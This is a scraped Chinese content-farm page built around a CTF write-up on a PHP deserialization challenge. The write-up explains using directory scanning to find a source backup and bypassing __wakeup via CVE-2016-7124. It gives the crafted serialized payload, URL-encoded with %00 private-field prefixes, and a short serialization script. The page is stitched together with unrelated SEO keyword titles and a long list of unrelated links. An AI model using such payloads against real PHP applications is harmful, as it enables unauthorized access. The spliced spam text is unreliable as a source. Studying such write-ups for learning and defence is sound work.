当前位置: 首页 > news >正文

江苏屹峰建设网站ckplayer wordpress

江苏屹峰建设网站,ckplayer wordpress,新冠最新消息实时动态,好的seo公司营销网1.通过目录扫描找到它的备份文件,这里的备份文件是它的源码。 2.源码当中涉及到的关键点就是魔术函数以及序列化与反序列化。 我们提交的select参数会被进行反序列化,我们要构造符合输出flag条件的序列化数据。 但是,这里要注意的就是我们提…

1.通过目录扫描找到它的备份文件,这里的备份文件是它的源码。

2.源码当中涉及到的关键点就是魔术函数以及序列化与反序列化。

我们提交的select参数会被进行反序列化,我们要构造符合输出flag条件的序列化数据。

但是,这里要注意的就是我们提前序列化好的数据,在进行反序列化之前,会执行wakeup函数,而这里一旦执行wakeup函数,就会把我们的参数给改了,那就会不满足输出flag的条件。所以这里需要绕过这个wakeup函数,需要利用的就是绕过wakeup函数的漏洞。

利用CVE-2016-7124漏洞绕过__wakeup()函数

CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。

这是正常的:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

改成可以绕过的:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

把表示属性个数的值修改为大于实际的即可。

但是直接把这个构造的数据提交还是不行,因为

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上一个url编码为%00的字符前缀,但是这个前缀是不可见的,并且在复制的时候会丢失。字符串长度也包括所加前缀的长度,所以复制下来之后再去添加即可。

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

3.序列化的代码

总结:反序列化对象的时候,会触发wakeup函数,之后对象销毁还会触发destruct函数,但是不会触发construct函数。

<?php
class Name{
private $username = 'admin';
private $password = '100';#这里也可以换成数字100
}
$name = new Name;
print(serialize($name));
?>
 

http://www.yayakq.cn/news/164177/

相关文章:

  • 一级a做爰网站中国开网页速度慢
  • 江西城乡建设部网站首页旅游建设门户网站的方案
  • 设计公司品牌网站怎么做品牌的官方网站
  • 品牌网站建设福州网站建设网站制作需要多少钱
  • 如何创建个人网站免费关系营销案例
  • 东莞网站优化排名公司怎么用手机网站做软件
  • 做食品研发都有哪些网站可以免费创建网站的软件
  • 个人怎么做网站页面网站建设 笔记
  • 威县做网站哪里便宜汕头建站平台
  • 网站网站建设报价蓝田微网站建设
  • wordpress ssl长沙关键词优化报价
  • 打开一个网站在建设中wordpress模板开发
  • 大连建网站电话wordpress如何写个插件
  • 爱站工具查询石家庄seo推广公司
  • 东阳市建设局网站广州有什么好玩的东西
  • 长春做网站的电话推广计划ppt
  • 在线教育网站有哪些免费编程软件小学生
  • 河源市住宅和城乡规划建设局网站网站设计编辑
  • 长沙网站se0推广优化公司专门做任务的网站6
  • 建设网站怎样赚钱品牌设计网站公司
  • 做网站教程第一课彩票开奖网站开发
  • 平面设计师必看的网站电商扶贫网站建设
  • 百度网站排名怎么做西宁软件网站建设
  • php网站怎么做集群网站的软件维护包括什么
  • 铜川建设网站外贸网络营销定价策略
  • 做外贸哪些网站可以发免费信息wordpress下载页源码
  • 网站如何做收录排行没有网站可以做app吗
  • 营销型网站建设托管广西梧州发现1例阳性人员
  • 东莞响应式网站制作陕西室内设计公司排名
  • 360网站怎么做链接网站网页设计入门